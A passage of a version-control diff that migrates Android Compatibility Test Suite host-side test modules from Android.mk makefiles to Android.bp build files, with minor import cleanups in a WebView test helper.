-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppA
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/ui/appB/Android.bp b/hostsidetests/ui/appB/Android.bp
new file mode 100644
index 0000000..60f5853
--- /dev/null
+++ b/hostsidetests/ui/appB/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceTaskSwitchingAppB",
+    defaults: ["cts_support_defaults"],
+    // don't include this package in any target
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
deleted file mode 100644
index 11fc2b0..0000000
--- a/hostsidetests/ui/appB/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppB
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/ui/control/Android.bp b/hostsidetests/ui/control/Android.bp
new file mode 100644
index 0000000..4ff73a0
--- /dev/null
+++ b/hostsidetests/ui/control/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsDeviceTaskSwitchingControl",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
deleted file mode 100644
index 2a30338..0000000
--- a/hostsidetests/ui/control/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingControl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/usage/Android.bp b/hostsidetests/usage/Android.bp
new file mode 100644
index 0000000..5ebeb54
--- /dev/null
+++ b/hostsidetests/usage/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsAppUsageHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Must match the package name in CtsTestCaseList.mk
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/usage/Android.mk b/hostsidetests/usage/Android.mk
deleted file mode 100644
index ff4f5e0..0000000
--- a/hostsidetests/usage/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsAppUsageHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.host.app.usage
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/usage/app/Android.bp b/hostsidetests/usage/app/Android.bp
new file mode 100644
index 0000000..48a30d9
--- /dev/null
+++ b/hostsidetests/usage/app/Android.bp
@@ -0,0 +1,45 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAppUsageTestApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+// Build a second one similar to the first
+
+android_test_helper_app {
+    name: "CtsAppUsageTestAppToo",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.app.usage.apptoo",
+    ],
+}
diff --git a/hostsidetests/usage/app/Android.mk b/hostsidetests/usage/app/Android.mk
deleted file mode 100644
index 3d51230..0000000
--- a/hostsidetests/usage/app/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsAppUsageTestApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-# Build a second one similar to the first
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsAppUsageTestAppToo
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.app.usage.apptoo
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/usb/Android.bp b/hostsidetests/usb/Android.bp
new file mode 100644
index 0000000..8c0bd95
--- /dev/null
+++ b/hostsidetests/usb/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsUsbTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
deleted file mode 100644
index 116fa39..0000000
--- a/hostsidetests/usb/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this apk.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsUsbTests
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.usb
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/usb/SerialTestApp/Android.bp b/hostsidetests/usb/SerialTestApp/Android.bp
new file mode 100644
index 0000000..96fcbb3
--- /dev/null
+++ b/hostsidetests/usb/SerialTestApp/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsUsbSerialTestApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "27",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
deleted file mode 100644
index 53b9266..0000000
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsUsbSerialTestApp
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 9df2d5c..01b5d88 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -36,8 +36,6 @@
 import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.RunUtil;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.util.regex.Matcher;
@@ -131,7 +129,6 @@
      * Check if adb serial number, USB serial number, ro.serialno, and android.os.Build.SERIAL
      * all matches and meets the format requirement [a-zA-Z0-9]{6,20}
      */
-    @CddTest(requirement="7.7.1/C-1-2")
     @AppModeFull(reason = "serial can not be read by instant apps")
     public void testUsbSerialReadOnDeviceMatches() throws Exception {
         installApp(false);
diff --git a/hostsidetests/webkit/Android.bp b/hostsidetests/webkit/Android.bp
new file mode 100644
index 0000000..afbb007
--- /dev/null
+++ b/hostsidetests/webkit/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsHostsideWebViewTests",
+    defaults: ["cts_defaults"],
+    // Only compile source java files in this apk.
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
deleted file mode 100644
index 814760a..0000000
--- a/hostsidetests/webkit/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this apk.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsHostsideWebViewTests
-
-LOCAL_JAVA_LIBRARIES := tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/webkit/app/Android.bp b/hostsidetests/webkit/app/Android.bp
new file mode 100644
index 0000000..b2ce1f2
--- /dev/null
+++ b/hostsidetests/webkit/app/Android.bp
@@ -0,0 +1,40 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsWebViewStartupApp",
+    defaults: ["cts_support_defaults"],
+    // Don't include this package in any target.
+    sdk_version: "test_current",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestserver",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
deleted file mode 100644
index 98a7092..0000000
--- a/hostsidetests/webkit/app/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestserver \
-    ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-# When built, explicitly put it in the data partition.
-#LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsWebViewStartupApp
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/libs/Android.mk b/libs/Android.mk
deleted file mode 100644
index 4343259..0000000
--- a/libs/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/libs/deviceutillegacy-axt/Android.bp b/libs/deviceutillegacy-axt/Android.bp
new file mode 100644
index 0000000..9c40954
--- /dev/null
+++ b/libs/deviceutillegacy-axt/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "ctsdeviceutillegacy-axt",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "junit",
+    ],
+
+    libs: ["android.test.base.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+
+}
+
diff --git a/libs/deviceutillegacy-axt/Android.mk b/libs/deviceutillegacy-axt/Android.mk
deleted file mode 100644
index 1748080..0000000
--- a/libs/deviceutillegacy-axt/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsdeviceutillegacy-axt
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
index 3072b07..aff2baf 100644
--- a/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
@@ -16,43 +16,41 @@
 
 package android.webkit.cts;
 
-import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.TestThread;
-
 import android.graphics.Bitmap;
 import android.graphics.Picture;
 import android.graphics.Rect;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.Looper;
 import android.os.Message;
 import android.os.SystemClock;
 import android.print.PrintDocumentAdapter;
-import androidx.test.rule.ActivityTestRule;
 import android.test.InstrumentationTestCase;
 import android.util.DisplayMetrics;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewParent;
-import android.webkit.DownloadListener;
 import android.webkit.CookieManager;
+import android.webkit.DownloadListener;
 import android.webkit.ValueCallback;
 import android.webkit.WebBackForwardList;
 import android.webkit.WebChromeClient;
 import android.webkit.WebMessage;
 import android.webkit.WebMessagePort;
 import android.webkit.WebSettings;
+import android.webkit.WebView;
 import android.webkit.WebView.HitTestResult;
 import android.webkit.WebView.PictureListener;
 import android.webkit.WebView.VisualStateCallback;
-import android.webkit.WebView;
 import android.webkit.WebViewClient;
 
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+
 import junit.framework.Assert;
 
-import java.io.File;
-import java.util.concurrent.Callable;
 import java.util.Map;
+import java.util.concurrent.Callable;
 
 /**
  * Many tests need to run WebView code in the UI thread. This class
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
new file mode 100644
index 0000000..db47527
--- /dev/null
+++ b/libs/deviceutillegacy/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "ctsdeviceutillegacy",
+
+    static_libs: [
+        "compatibility-device-util",
+        "junit",
+    ],
+
+    libs: ["android.test.base.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+
+}
+
diff --git a/libs/deviceutillegacy/Android.mk b/libs/deviceutillegacy/Android.mk
deleted file mode 100644
index 8cfa6d1..0000000
--- a/libs/deviceutillegacy/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsdeviceutillegacy
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/input/Android.bp b/libs/input/Android.bp
new file mode 100644
index 0000000..82044c5
--- /dev/null
+++ b/libs/input/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
